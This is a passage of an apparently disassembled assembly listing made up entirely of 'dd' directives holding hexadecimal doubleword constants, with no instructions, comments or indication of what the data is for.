		dd 7A56F48Fh, 0F15816h,	0A86B9466h, 8CDD873Dh, 9FB17003h
		dd 0B002A42Ah, 12363ED6h, 0C01590h, 0DBC7867Ch,	79007E0Bh
		dd 69825C50h, 1D5A1438h, 80A11A83h, 77C08F42h, 1007664Ah
		dd 0A7D070EEh, 0D9BB98D0h, 0F25F779Dh, 16292C50h, 5BA48034h
		dd 415576Eh, 600471EDh,	0D2009DB6h, 7AAF25CDh, 59389463h
		dd 0DC0138FEh, 82B7B6C3h, 7902F864h, 0BEF6457Fh, 303BDA00h
		dd 0BFA27216h, 0E8C100FFh, 2F15D5A8h, 0BD0047B2h, 0CA1EA721h
		dd 0C0A089h, 0BE83C6C5h, 0AC97C2AFh, 0D89BC42Ch, 0D35AD904h
		dd 87290C80h, 5E4E0720h, 10A12B9Eh, 0C40D7161h,	0B0895C38h
		dd 0EFC72914h, 59550044h, 35B98270h, 62001903h,	0A0ABC8E3h
		dd 711A53h, 0BD8F6EA6h,	92DB201Dh, 0ECB26B00h, 4842C09Bh
		dd 0BA4005Ch, 0F66EA0A7h, 600B2D18h, 80328EACh,	0D663401Fh
		dd 0E7E6BBh, 2D7BA217h,	0A0151E35h, 5AC85802h, 6068AFDCh
		dd 8434C4h, 0B071F4D7h,	8E45BBE7h, 92A8C667h, 0D5A2ABE0h
		dd 0A3E4D0h, 770309B9h,	9C0A82E3h, 0FEC24000h, 55C7AD59h
		dd 7164001Ah, 0A7232F3Ch, 0C3780C70h, 0C9909E90h, 0B9EB2917h
		dd 0E9AF5502h, 0C7EF8082h, 6ABC8Dh, 0A6B24AF8h,	0AE70DAB1h
		dd 0C907551Ch, 0D068F4C0h, 9886526Ah, 0E85C1F78h, 0E5498059h
		dd 6706EA0Dh, 0E4035103h, 0F81EBB6Eh, 0FCF8025h, 422F168h
		dd 4400DDC9h, 8F209B2Ah, 83000DF6h, 0EBFDF5C1h,	1F49297Bh
		dd 40FEF25Dh, 0DECB87CAh, 0A200D702h, 7B8A0323h, 0DC76FCh
		dd 97D3B01Ch, 0D832BD14h, 0A9064810h, 0C100033Bh, 0CC4C3F42h
		dd 2B73BC9Dh, 3CAC4007h, 0FD10FC24h, 0E2A930Fh,	86057F9Ah
		dd 3E578420h, 0BA271D23h, 122C80A1h, 0E6760Eh, 68419E1Bh
		dd 2B846BB9h, 30706601h, 0A98C0302h, 0E90D834h,	275188DFh
		dd 5B3D5DA0h, 2400E4A0h, 964A9A52h, 0CD560Ah, 5478207h
		dd 0DD97D728h, 8061133Dh, 8684017Dh, 50D68ACh, 32C57560h
		dd 23F58765h, 0B9B87430h, 7D00AE58h, 0B76FDEDCh, 306AFA0h
		dd 2C18374Dh, 0E0CF3B6Bh, 254740FCh, 7F5CF200h,	8B20C19Ch
		dd 126100D5h, 0EB9F1596h, 3D00244Eh, 0BCB29737h, 58FD6BC5h
		dd 51009781h, 0F9478786h, 391F2255h, 780C8FAh, 85FE8A8Dh
		dd 0F3DF0C3Ah, 0FCE8CD66h, 77A439h, 0F525BE11h,	0AD9164h
		dd 0CDE01253h, 4330EB1Fh, 11C97F00h, 94B76F2h, 0B97A0037h
		dd 0ACBD948Dh, 3CB80BBAh, 68ED8F06h, 115F01h, 7C5E7A26h
		dd 0ADCEAF3Dh, 0CD0F55EAh, 0A4F625CFh, 10804728h, 7214D799h
		dd 94DF0027h, 70B8415Bh, 0B50BBAF0h, 2F86470Fh,	9DEA60F4h
		dd 3AAA410h, 0AEF67FCh,	15F8D60Bh, 0C48D9A5h, 0FA320082h
		dd 3BBD7F8h, 15E1F53h, 0CFF4404Dh, 0DE8DF314h, 27764503h
		dd 987E6559h, 0C0C27213h, 0BFC45F61h, 8806C03Fh, 6A834114h
		dd 0F0350E18h, 4C82C9DEh, 8CE9739Ch, 0F31C4085h, 3AFEDF28h
		dd 8043CE0h, 0CD304E2Dh, 0E8C04DC0h, 12E32826h,	773124D5h
		dd 0DFA90334h, 38035FBDh, 0AF45695Dh, 0C05800BEh, 5CA46254h
		dd 50CA37A1h, 7D643CCAh, 0A0C03428h, 0D8573A08h, 2D7330FFh
		dd 3FBEF7D1h, 76C6A840h
		dd 97490003h, 0FFF36FA4h, 44011C40h, 0FEAF01BBh, 1A13DDC7h
		dd 18ADCB98h, 0E8B83D51h, 0FD18D823h, 1520CA87h, 84BC21h
		dd 14C42F3h, 9E00EC3Ah,	3F483413h, 1D7DA2B7h, 4CE7EABCh
		dd 0A7909680h, 5F16F8E5h, 6AED3617h, 0DB1B1B03h, 8D93F7Ch
		dd 3411D180h, 52682342h, 0D8002DFAh, 0E4A69BDBh, 301B2EBEh
		dd 3831BFC3h, 0F30FCBEFh, 0E0CF040Dh, 93C45D59h, 37C7007Ah
		dd 9415390Ch, 6A003191h, 26E3C6CFh, 6336E79h, 0C1BF495Ch
		dd 0AD00F1B5h, 0F729E685h, 0D504C8h, 3FDEB126h,	0FD6A685Dh
		dd 15A86454h, 7BF92760h, 0A2B1AAh, 1F743322h, 6C13BBAFh
		dd 0FD3F9D00h, 5B1B94A0h, 834B15h, 0BC412F58h, 5201D08Fh
		dd 0DCE304CFh, 6E02430h, 0B4971CC6h, 106EC05Ah,	6B45AECEh
		dd 6380E600h, 3916E7A9h, 0A3EA0093h, 76770D6Fh,	173970D6h
		dd 66C8FDEh, 0F4E9E4F1h, 404CD5C2h, 7C73DECh, 5A87E673h
		dd 0AE5F2089h, 2E4C5E7Fh, 0F34D005Ch, 0BC039B71h, 674F18F8h
		dd 84F2203Dh, 0C97982E0h, 7D9B6A3Dh, 3752230Ch,	141064h
		dd 0DB99244h, 4BFFCD45h, 8080C66h, 5C750B21h, 7287E193h
		dd 0CF348763h, 26027F43h, 0EC7D7874h, 3D1F967Bh, 0DE0058FAh
		dd 797FAAFDh, 0CAD1066Ch, 38F1990Eh, 846A4Ch, 5373C58Ch
		dd 0E718069Bh, 3563088Ch, 49001C20h, 559E158Ch,	48D673D8h
		dd 0B60052CAh, 766C7E3Ch, 0E1FED4F7h, 88AD1700h, 9903A4CDh
		dd 3B4D0045h, 0CBDAEBF0h, 1B38782Dh, 0BA170019h, 3C985BF6h
		dd 0C0A22C71h, 7F510440h, 83498144h, 0BB833022h, 48182500h
		dd 0C7CC9485h, 130900CBh, 0D3D7F50Bh, 891E04F0h, 6080345Dh
		dd 110305FBh, 0A0787B41h, 15E7BE1h, 1B744469h, 0D3530C46h
		dd 434EE400h, 3815E980h, 0EAE866h, 2ACA4640h, 0FBC6BDA1h
		dd 6EE5540Eh, 218D8C84h, 2AC2000Bh, 0E21E4541h,	690E446Ch
		dd 8EBC848Eh, 0CF58E788h, 51754E60h, 584060E2h,	0CA27C90Ah
		dd 6E07AAFCh, 6D926FBDh, 414B43h, 203EAF20h, 0B947D287h
		dd 0FEFA1C00h, 435B32CAh, 0E0080C09h, 0C1807354h, 3618F4FCh
		dd 0B7201013h, 6901830Eh, 0DC7AA6EAh, 1180ACC7h, 17FECC60h
		dd 0DD0CA5D9h, 84DC1DBh, 207960DCh, 0F9EE7481h,	1F77ED3Dh
		dd 550BF701h, 4CD703B5h, 698800FFh, 71D3E8AEh, 3607F7F8h
		dd 0FA1B67CCh, 0A0415425h, 0A26732Dh, 2AFF1080h, 4C77E5C1h
		dd 33AE5600h, 0E39ED90Ch, 0DF050025h, 0D24FA150h, 670068F0h
		dd 593FE235h, 1247A8h, 0D30A4A43h, 1F77C46Bh, 78648F00h
		dd 6F1AC39Eh, 0C0B1E4B6h, 956E309Ch, 0E8010BFDh, 7FEA2B2Eh
		dd 94C8D990h, 8D140083h, 0B76BCA3Eh, 1E000784h,	0BE2458DAh
		dd 5EBC21Ch, 96BC1BB1h,	7374C059h, 91018A69h, 60648D6Ch
		dd 0C0E6E1C6h, 6BD6D2h,	0D295C59Fh, 0DC03FC08h,	17A67A00h
		dd 32F47781h, 736B00FBh, 4367107h, 0D63A733h, 90E41B18h
		dd 0ED79ACA3h, 8521F8h,	0EDA6FFC1h, 0FECBA16Dh,	25DFCC0Fh
		dd 2AA503ECh, 0F324B036h, 0CF40009h, 88F53C3Bh,	6F105B1Eh
		dd 0A13E1B23h, 501A6C98h, 337C0851h, 8D027601h,	322D9E75h
		dd 0B9DEECh, 0F71E5CE2h, 2EE4966Bh, 0DC0414F8h,	0EE8C2631h
		dd 0DD98BB81h, 0F09533C4h, 29BB1887h, 3C4B28E1h, 1D893500h
		dd 65DD18B1h, 8018C376h, 0D878F036h, 4F453h, 57C8A56Eh
		dd 0F132074h, 9C89CCF1h, 0E68042AFh, 0CFBB7375h, 321E8B00h
		dd 0B906B49Ah, 704314A1h, 0B10C8C39h, 0A3309E08h, 75F2A9F8h
		dd 0C7062476h, 0FC346693h, 7A8D3F38h, 0EAEE831Fh, 0F4021B28h
		dd 31A81956h, 99C10BA7h, 251743F1h, 893A982h, 609823E9h
		dd 0DA329B70h, 0B71A816h, 1458A60Ch, 2A668C5Ch,	451F9083h
		dd 260042F0h, 9B7E3D86h, 797F60DDh, 0DF1BFEDEh,	1C567CA4h
		dd 3CA07684h, 0BC18F0FBh, 0B7189323h, 0CCA212A1h, 57104E35h
		dd 0A54CC440h, 710A4DDCh, 48FF2DBBh, 78BAA608h,	7666A1A7h
		dd 0E9CA3749h, 39969050h, 8346075Bh, 317577ECh,	50065776h
		dd 2DF7A5B8h, 187CDD28h, 0A2FF5101h, 2279B52h, 0CFA364D8h
		dd 17AC7759h, 30FC0639h, 9B4FF506h, 399F755h, 6B823975h
		dd 1000AB23h, 8427E9BDh, 155D7C18h, 84319870h, 71835800h
		dd 0A326E64Fh, 0E50C3DF0h, 10A2EF50h, 96FD0461h, 7BDC49Bh
		dd 71011F14h, 0DDF0FFE1h, 27B23A19h, 4692134h, 1FE1CDCh
		dd 0F470A69Ah, 2A9EC9D0h, 0C6A0C693h, 58F26478h, 10300430h
		dd 1097AADBh, 183320BBh, 0CFA14B93h, 22EA0973h,	0BC01DBA8h
		dd 50EE69A5h, 29F1F784h, 0E900DFE8h, 0E4349A2Ah, 1D88E0B0h
		dd 1996CF72h, 5F9B715Eh, 0BA1D0140h, 9E6A320h, 2F3C7F1Ch
		dd 0F62306A8h, 7182443h, 42710372h, 0F56CCF19h,	98327358h
		dd 0AC8F3944h, 50E21054h, 8B34BC5Bh, 20E06CB9h,	41C09A44h
		dd 3A98C9FBh, 9B330621h, 0B088B3BBh, 0E9421092h, 0CF15075h
		dd 1808F509h, 0FD10FE42h, 0B930C30h, 15BA7020h,	4F64814h
		dd 0D03823B9h, 0A938804h, 0D410AEh, 2DC7905Fh, 8C19141h
		dd 4DF108F9h, 510850B4h, 2E19901Ch, 444F38E7h, 3C204FB0h
		dd 605A4D87h, 0EEB0FE26h, 99C62533h, 2811A5D8h,	74911418h
		dd 22CC184Ch, 6814CA09h, 20B81909h, 893A6C1Ch, 4C577110h
		dd 8104550h, 8A2B260h, 0CC090438h, 390DCB3Eh, 3E81E6CDh
		dd 92E68C9h, 9B32C01Ch,	9CAF741h, 988C0C4Fh, 514029FEh
		dd 81914872h, 5029DE75h, 322FCD60h, 5ECA00B8h, 0A2106BFCh
		dd 0F750A7F5h, 9AA128h,	0B491EC06h, 850818F6h, 5F04C8FCh
		dd 0E8F61759h, 0A45E4C5Ch, 168FF6B4h, 728979h, 8CB056C8h
		dd 0D328EDC8h, 8101200Dh, 416CCB88h, 0E4324F77h, 8E9CE90Bh
		dd 69E0E426h, 0B4FA512Ch, 323810A4h, 0C04B4882h, 0B09A4670h
		dd 0B84AF420h, 0C41A3070h, 7CD0261h, 11272D34h,	0A8DE2881h
		dd 283BF030h, 9834ACFFh, 9DCE20B4h, 2AC23300h, 1950F675h
		dd 2B9B1974h, 0D0060877h, 3B3EF10Eh, 0A27F8B2Dh, 0D910A67Eh
		dd 82A00CF9h, 0D3082506h, 5A1293Ch, 0F25120A4h,	25488C59h
		dd 77220980h, 0B284D02h, 4F9C6D0Fh, 9A1687FFh, 0B13306A0h
		dd 0A0F5001Ch, 0B8290A9Dh, 0E010818h, 0C11E96F4h, 10327C9Fh
		dd 39B1502h, 0ECC8F5E9h, 0A9404A24h, 2307053Dh,	8433F65Ah
		dd 8A440024h, 0F0A19BCFh, 87A53109h, 0F69C018Bh, 28912720h
		dd 6C600229h, 85649B97h, 88015360h, 0A7418D29h,	0B5FDB821h
		dd 1661FC30h, 6631235Ah, 5D63E148h, 0F3B82508h,	0D080E4A9h
		dd 0F3481B2h, 0A5DCCCF0h, 72FF5440h, 2760984Fh,	0F68CA921h
		dd 269C1931h, 447CA1F7h, 18B00AA8h, 0A33B0FACh,	337087FCh
		dd 0A5B0B097h, 0E902E358h, 4F731FBBh, 312C4935h, 0B000A85Dh
		dd 7812EEAEh, 2C1A7F93h, 8C80F753h, 29F14D51h, 86656205h
		dd 0B8289D3Bh, 22F34371h, 9D1307B8h, 4033F415h,	20EF703Eh
		dd 0A744FE00h, 0F619D65Ch, 0DB5E017Ah, 2615934Ah, 1B06F433h
		dd 14DF98A0h, 0F3A41650h, 80F40F51h, 2ED65D0h, 0E2D9327h
		dd 0FFD7AE01h, 0D49B3A81h, 3FD8804Ch, 73271870h, 2B7B01A8h
		dd 20D9736h, 0A7A04150h, 0B190346Ah, 0DD7C2816h, 0B8D8204Ah
		dd 761CD704h, 1EF7A044h, 74F631F0h, 4508BA15h, 7ED803EEh
		dd 29E19A3Ah, 0A5628C18h, 5ED04085h, 44AA499Ah,	0C0EE169h
		dd 0C82A6B29h, 408351Ch, 9C333518h, 13687C30h, 0E0878829h
		dd 4C8AA378h, 4F0AA410h, 10602446h, 29A719AFh, 74EC7329h
		dd 1CDD138Fh, 0E4D8A127h
		dd 0A7F60905h, 0FD402166h, 0D9BA04D9h, 827B8A7Eh, 4883D400h
		dd 28211C18h, 7F973F4Bh, 0B2802093h, 8890096Eh,	3D581852h
		dd 104226FDh, 488B2ABBh, 4428F1E8h, 7D00F03Ah, 0F3459A39h
		dd 3C651A5h, 0A18F7BF4h, 0B0063A5Ah, 0A90BACBh,	90787C60h
		dd 0A49A01B8h, 7BEFA5FBh, 803FF107h, 74A20279h,	0A8149E31h
		dd 51DB5080h, 30C1B0FAh, 36896908h, 8D880CD2h, 75780613h
		dd 6883488h, 0A8F69D9Ch, 33003A51h, 69DFED6Dh, 485D097Dh
		dd 9815381Ah, 7A0F84F3h, 250A72DCh, 8007448Ch, 51263334h
		dd 0A081286Fh, 420A257Bh, 0B91C6717h, 0EE891E9Dh, 0A60FD483h
		dd 0A4F61002h, 559BA354h, 41076E86h, 0A2D2C8A0h, 0A9A55E0Ch
		dd 671072h, 0B67BD9A1h,	0C0BA43C2h, 7F980850h, 3038688h
		dd 300AA076h, 88DDB7D9h, 0CC00F14Ch, 4CC43897h,	783C105h
		dd 0AF9DBCD2h, 6151F01Fh, 0E713CFD9h, 0CAC3D24h, 803524h
		dd 3456E909h, 0E52888B7h, 0F9009C2Bh, 6DB82267h, 3C6411B4h
		dd 0CF09627Dh, 10272133h, 0FD1E48E7h, 821A6E04h, 6C3B9C90h
		dd 9979019Dh, 0A0FFFA5Ah, 0D408B94Ah, 726E590h,	0BC00749Dh
		dd 5313944Dh, 210D4AD9h, 24A55104h, 0C8A49364h,	84EEC976h
		dd 7CADF200h, 26A085CBh, 0BFAC0D0Bh, 0E0A06099h, 215030F1h
		dd 77E47CACh, 186D50A1h, 669D040Fh, 32F80299h, 42244Fh
		dd 716C967Fh, 12E5003Ch, 0BA7DD9FEh, 4C8033DDh,	0A8538032h
		dd 6F6E4000h, 0F6DC14E0h, 121098B1h, 7CE8F62h, 0E054D9F3h
		dd 500BE4DAh, 2C80109Eh, 0DDE7C52Ah, 0B8F45Eh, 8D4B3FD4h
		dd 838BC330h, 93970094h, 5B2C3020h, 0C2F50005h,	0F19A68B0h
		dd 85097CF3h, 87F606BBh, 404F4BDCh, 6C590ADCh, 0D121671Ah
		dd 0EEBD801Fh, 77003DA0h, 44014D08h, 9E46C86Bh,	52873EACh
		dd 81EA8D73h, 0D679CB7Fh, 96751868h, 2CE77200h,	5A3DE26Eh
		dd 0CF454h, 0B50170F4h,	93ED878Bh, 78F2771Eh, 0B91B0EA0h
		dd 0A8A0266Bh, 0FD50FEF0h, 0B04407Dh, 4FC0B4F6h, 0ECF05087h
		dd 18935D70h, 382E1982h, 800103FAh, 7BB5FF33h, 74720D86h
		dd 0C022C112h, 969473A8h, 2677EB7Eh, 38A470Fh, 203A4DF4h
		dd 148F9ED4h, 206A6D04h, 0EA252BE0h, 0C5A40986h, 0D090AB9Ch
		dd 0B01D27DFh, 0E0458E55h, 0F8304A5Ch, 18B85B1h, 4D077DA0h
		dd 70F27503h, 0F60296FCh, 86984F9h, 0D0BCE399h,	0B1EC1924h
		dd 49520034h, 50B74737h, 0B1182A07h, 3E462DD8h,	514F0021h
		dd 0AED02237h, 313E45Ch, 0D8006963h, 0B525FE81h, 7C0524A1h
		dd 0F49D3FF4h, 4070A69Ch, 9BD2A16h, 0E0CF072h, 8598927h
		dd 1EE4BAC2h, 0C0A21C20h, 28071E26h, 640C13DEh,	0A8C7A02Ch
		dd 1EF43B0h, 0B4163602h, 370C2DE8h, 0EC4A4C88h,	0F2C30399h
		dd 8C5BBE6Eh, 38273ED1h, 245A10A4h, 54140600h, 0EE8E74FEh
		dd 22CC0E6h, 0FC409C61h, 60BC62A1h, 46DA1106h, 97008F9Ah
		dd 7E2D7B1h, 1238E136h,	13B9BC3h, 0A4C9A352h, 79804885h
		dd 11BFF68Ch, 84A1F086h, 4B01F7D5h, 0F8C4BD5Fh,	851C2CC5h
		dd 943E2AE5h, 80C09252h, 3991ABD1h, 0F4A84861h,	0C47EE200h
		dd 4678E45h, 0A405F03Bh, 5728B838h, 78321F0Ch, 3E8171h
		dd 2C943F21h, 33667007h, 0C9015C7Bh, 27725AF6h,	0FC34F786h
		dd 1632407Ch, 5E553314h, 79D48188h, 802B7DC3h, 2E9B0A1Dh
		dd 160C774h, 0C3705E21h, 0EFF40598h, 28DFEF7h, 3044F588h
		dd 45604D24h, 0F0230ABDh, 211A1841h, 0BD1C2BB7h, 0DD836BE1h
		dd 0E1961EEh, 0F6DB2969h, 0C38D4AE0h, 84070A21h, 1768D727h
		dd 759023B9h, 0A9ABE005h, 3442013Dh, 98F62DDDh,	9246E4CDh
		dd 7099A100h, 3A518F1Ah, 7BC914B5h, 6300DC84h, 0BB31F1DBh
		dd 0FC12494Ah, 6C601FCEh, 1CE89A40h, 41847F0h, 88266196h
		dd 0D4AA4E2Ch, 0C11589Dh, 1EAB9583h, 0D62EC10Fh, 9CDA21E5h
		dd 5F31316Fh, 0B818C462h, 6B69F4A5h, 4CC7D203h,	5C7992h
		dd 20540C21h, 0B3BBDA38h, 71720F14h, 99311B34h,	0FF69C161h
		dd 28925040h, 0E9740141h, 7CB8A280h, 3FE82026h,	13AF9A39h
		dd 0E0417D93h, 0B0DB8414h, 1BC2060h, 71BE0F24h,	78299D2Dh
		dd 8FFF2868h, 0CB7A7877h, 99003FE4h, 0BEB127E9h, 308C14BCh
		dd 8740DC0Dh, 6C48F0A3h, 333A0B73h, 0A7508099h,	45CA57Bh
		dd 248991EDh, 8550D82Dh, 0B72B3608h, 4134C470h,	3E374D7Bh
		dd 82A2F4h, 0BBF94455h,	39979FFDh, 184C43Ah, 67A72061h
		dd 30F2F4CDh, 4850BD43h, 0D0911FFEh, 0BD694960h, 0FAB00084h
		dd 70C38A1Ch, 1800C00Ah, 348BA09Bh, 228554Eh, 626DB5DCh
		dd 0F8C053C3h, 36400446h, 2372CBFh, 1889E404h, 0C1A06FF0h
		dd 11BB73E9h, 4F87817h,	88D47D54h, 0B709CF09h, 2F34894h
		dd 0E0209C6Eh, 0ECA18CC7h, 0C3FC1950h, 5673210Eh, 0C39F5BC0h
		dd 261F050Fh, 20EF585Fh, 65388AB8h, 7755E900h, 0A16A6CDBh
		dd 3A3E00B2h, 0A739152Fh, 24945F5Ch, 0E5C187B8h, 0D633CC9h
		dd 809990F9h, 0A4D33AC7h, 2000F448h, 63296C94h,	0B52FF665h
		dd 42A48FA7h, 0F512A646h, 188A2D09h, 0A72307BCh, 4497F004h
		dd 870037A0h, 633D84B2h, 0F664A5h, 209817DAh, 0DF668F15h
		dd 566AD10Fh, 68768089h, 2AE06B4h, 901DFEC3h, 94467069h
		dd 4F7D8F00h, 578CD29Eh, 111A009Ah, 0FB0C0B64h,	0E0609B72h
		dd 69024D29h, 9DBE1FE4h, 66328020h, 0A1913D80h,	36A3600h
		dd 94B0BD2h, 1ED30502h,	0A0949C33h, 6D48CD98h, 0D5D20029h
		dd 30290148h, 0A37200AAh, 0F1B739FFh, 1B068FE8h, 0BC23CF26h
		dd 59150028h, 0FF2213E5h, 0C075AB62h, 0C4ADD600h, 0EE54D141h
		dd 315ECDCh, 56F387B4h,	5FEF60F4h, 60671907h, 0F221F8C1h
		dd 1236FB00h, 833F55DFh, 244F06CBh, 692E4384h, 3275C500h
		dd 318E9A6Fh, 482C3FBDh, 1E08288Eh, 99C710C3h, 0BCE8EAB8h
		dd 0ADB3B00h, 3A8D2E54h, 0E7133EC8h, 0A8B14961h, 1100DB55h
		dd 2E8BCFC3h, 0E22B8A5h, 3C625E0Bh, 0A8A706C0h,	29C3FA92h
		dd 78BA617Ah, 17373C40h, 614649Dh, 196FA067h, 0A2A51C0Ch
		dd 7B0169E7h, 8118C02Bh, 0EB764FA4h, 31AD7200h,	0A9990740h
		dd 549418A8h, 0D89B30EAh, 80F17000h, 0CE20F3C5h, 0AFA803CCh
		dd 2E36D7D4h, 4351029h,	24460F76h, 0A983CD4Dh, 8590FA49h
		dd 0B5001E56h, 1DF7E651h, 0D3CBDh, 2D2AB97Ch, 6404906Dh
		dd 86181A13h, 0AC8B1400h, 237281h, 0F0C37F30h, 0F65695A5h
		dd 353D121Eh, 26292700h, 1EAA1FDEh, 0C5368E32h,	0C0EFC5E3h
		dd 23D525FEh, 6653A803h, 0D23A02CBh, 6C49C093h,	0CA2E00D1h
		dd 0B8C52A41h, 1E1EC1FCh, 0FD8F944Bh, 0D0376092h, 0E2C6D534h
		dd 0CDA70084h, 0EF42B186h, 0F4006EECh, 0CE9A560Ch, 5D2314h
		dd 0F612202Eh, 38225218h, 545C7800h, 0AF2862DAh, 0CE1000Bh
		dd 51D97612h, 0E00C8F97h, 30891FBAh, 0E1354F05h, 0AC8DD802h
		dd 825FBE00h, 0E03D69E6h, 29A90058h, 7A4D6A7Ch,	0B405187Fh
		dd 712BA750h, 25AAB440h, 0C06BE25Fh, 570DEF81h,	220E795Dh
		dd 0E03ACAE8h, 232F2572h, 1AF27Ch, 0C6C51155h, 0B7806BDFh
		dd 10106630h, 124E6743h, 18B0302h, 25A75ADFh, 406980A3h
		dd 0E36EC9DEh, 0C43D01FBh, 0BAC8A9C6h, 9A0BFADh, 80D8D713h
		dd 8C8E6CA5h, 2AAE1DC4h, 19E10021h, 89B826D1h, 0C9BB8D00h
		dd 10932D04h, 0EDB0A0D4h, 601F7669h, 0A6CCC0F7h, 4901ECB6h
		dd 0A087880Ah, 92043ADh, 1E3D0024h, 0C4A46C0Bh,	0F1609212h
		dd 7AEB47B8h, 0BA5601B7h
		dd 649D2E8Eh, 0D601602Dh, 777FE900h, 18058D47h,	39070168h
		dd 0A23FE165h, 4DEBD427h, 8800F1E2h, 0E05AD19Dh, 0F2FC05h
		dd 398B4FE9h, 0B32CA6A2h, 44689500h, 3FE5856h, 157900CDh
		dd 0ED0D65BDh, 0C700C017h, 9832DFA6h, 0E72037h,	8C079281h
		dd 7A704DB9h, 72AFFE3Fh, 0D2776D00h, 10DD5D60h,	6E5303E4h
		dd 81968CE8h, 0EE91D4C8h, 6CEA0F00h, 0E7F67605h, 70F40018h
		dd 4F24FC6Dh, 0CCF8603Fh, 995D1500h, 657FE5F6h,	54D20395h
		dd 968AB61Fh, 9FEE46A0h, 0C8CFD624h, 68DD3F00h,	0F01A1C7Ch
		dd 39F890h, 6F8F209Ch, 8F3B627h, 6B23E300h, 68D7B90Bh
		dd 9D5D28CAh, 99A73C87h, 0AEB7228Ah, 73F000F4h,	0F76CE337h
		dd 0FADFAA00h, 69B0658Eh, 0A4910021h, 98E53C41h, 0D600B64Dh
		dd 0FE46F7CCh, 833087h,	2AE8D4C0h, 6103E224h, 0BD70A500h
		dd 463251C5h, 0A769042Fh, 8121223Ch, 2324E338h,	3B72816Ch
		dd 74C01059h, 0C6B600F9h, 0BAAF97D3h, 0B50333D4h, 152ED9C4h
		dd 8206F064h, 9FEF00CDh, 13D02B1Ch, 1877871Dh, 497C160Bh
		dd 0C8DD8305h, 0B8A60083h, 0CC0341E1h, 3D00CE28h, 4FD27C14h
		dd 32CA80h, 0F53C7E5h, 4E6252A5h, 9BFEAA00h, 0D6B18DF2h
		dd 6842C9F4h, 14809F00h, 0F60C3C7Dh, 0D82CB04Bh, 2EAF206Ah
		dd 0CDDEF503h, 0D8BB5C61h, 4C6D907Eh, 1E004783h, 6BE9F27h
		dd 581C3AD8h, 89408B35h, 0BF0D9CC9h, 74E800B0h,	0CA834B21h
		dd 8C01FEA2h, 0D443615Ch, 0E02B6EA3h, 12EA1887h, 1E3CC403h
		dd 0F3B5D3F1h, 2E5CC8B7h, 0BCB33D65h, 83CC7B00h, 0DAAA8DEFh
		dd 3E59C48h, 9FF5B2B0h,	89D0CF05h, 199CA11h, 5CF034A4h
		dd 474FD723h, 0A955A0F0h, 103742Bh, 101A3862h, 77290364h
		dd 0D3518FB1h, 89B01698h, 0F5B9800h, 0D652B52Fh, 83981Eh
		dd 0CEA80A2Ah, 14B2D5CDh, 60B99F00h, 2B23BDEAh,	660F01DAh
		dd 0D036C8C0h, 202860CEh, 0C14D5800h, 9D39B48Dh, 63440006h
		dd 6F87A59Ah, 0A2008C9Bh, 108A92E9h, 722A898Dh,	6D27894h
		dd 0C447E64Fh, 972EA021h, 5E0073A1h, 59303C26h,	634C0051h
		dd 0EAD08955h, 6A002799h, 0E19634DFh, 520835h, 2EA42839h
		dd 0AB318211h, 6DECBFEEh, 0A4D359h, 7CA44EE8h, 4C2B0975h
		dd 0BD0024B5h, 90E3FFF5h, 0C500D0DBh, 18D55CA1h, 3A2C733Bh
		dd 0D808212h, 74ACF470h, 543EA681h, 9BE0000Bh, 3F28C57Ch
		dd 68E200B6h, 218498BDh, 0BE096DECh, 20306F5Dh,	904F4E24h
		dd 757000D1h, 0AC35643Ch, 8703C071h, 0C7BBC10Ch, 0BFFCC3A7h
		dd 1CC36190h, 1AF048D5h, 5EDB9200h, 9EFBD4F9h, 0AF00BE7Fh
		dd 0F78FCDA0h, 0CEDB952h, 0D907B203h, 0FE004910h, 1EE1F8D4h
		dd 91A6F2h, 47E318EBh, 22679DB0h, 0C79E4807h, 787055B3h
		dd 218B0Eh, 0BF9317D4h,	1FE9B7CDh, 0CEFD9500h, 76C5AEE7h
		dd 5633007Fh, 0F5C0DC7Eh, 5C0003B4h, 79E66407h,	4637EAh
		dd 4030EFFBh, 0FDDCC906h, 0ACAD9E00h, 9D82176Ah, 0B6FF5C74h
		dd 21475A07h, 2C2802Eh,	7A0030DEh, 0F03BE24Dh, 0DC3F9Dh
		dd 11FCF3EDh, 1E922B71h, 47FE7500h, 0F466CB4Ah,	0D9DD0129h
		dd 0EE554D46h, 77D5C8E3h, 733FA300h, 2AA4F16Dh,	764A0011h
		dd 0A5DDA252h, 0F200556Ah, 32DA9261h, 17388C5Ah, 411F5942h
		dd 7F1B407Ch, 0AE05CC03h, 95080413h, 18CBB800h,	0D92BA2h
		dd 0B40DF02Ch, 86354151h, 6A6F4300h, 734B169Eh,	7CB0563h
		dd 0A0A738A0h, 0C70A1B8Eh, 0FC92B9C1h, 5A52C94h, 902DA277h
		dd 744243C7h, 5148497Eh, 0ED771188h, 5A00929Eh,	0DEBA988Bh
		dd 676100C7h, 5BE10733h, 2B0C05CBh, 2878AB4Eh, 1AB47471h
		dd 0D0FA23A1h, 5F852800h, 0FF03F86Ah, 5A8C5415h, 1F2100F4h
		dd 813A2CFAh, 19004A6Ah, 0F15D8B8Eh, 3D40B1h, 61D2A50Ch
		dd 278CB846h, 2AF61800h, 594B112Fh, 0C80100DEh,	0AEEAB409h
		dd 0DB00B173h, 914C5FCFh, 0D244Dh, 504AC9C0h, 39BB941Eh
		dd 43318E00h, 5C07841Dh, 7DF318E4h, 80742ECDh, 3E67E100h
		dd 0C722A342h, 500F4AF7h, 0A8BF046Ch, 0B2C9032Ch, 0F12393BDh
		dd 1A4831E0h, 2935CF08h, 4E2E001Eh, 8090A4E1h, 0DFE89600h
		dd 646FE3B5h, 49F26019h, 1DC21EAEh, 0EB9539h, 0FEC10EA3h
		dd 0BC3B384h, 0A4780456h, 204698A3h, 0B5D48100h, 75F505CDh
		dd 7D910169h, 40D8E10Eh, 0DC22F7h, 484A9E9h, 7C61FCh, 9CA12F27h
		dd 14C841EEh, 3BCD759h,	9AFA8909h, 4F9488CBh, 33D006Fh
		dd 0DEBB9584h, 15794A8Fh, 9180CB0h, 69812746h, 363F26EAh
		dd 7F1C0375h, 0D800FFD2h, 8A0DCFBDh, 0CD4CF8h, 0C1270E35h
		dd 14A07457h, 0DBA1B119h, 5C285008h, 0C09C8D0Eh, 0F21F92E1h
		dd 4E704082h, 2405E22Ah, 0F0CFCD19h, 0EB21C2FEh, 0C461A061h
		dd 0C1C1DC16h, 0E9932849h, 0EEF9C2F0h, 0D6CB00B9h, 2C18D45h
		dd 0C52A4121h, 0EE00A098h, 1B52F9F5h, 3DD3E8Eh,	0D997F79Eh
		dd 21B01D69h, 195054AEh, 6C9CA794h, 10AB2E0Ch, 2CC802EEh
		dd 872B928h, 0DDDEF880h, 2A0FC23Bh, 0A04EC69Bh,	92419D78h
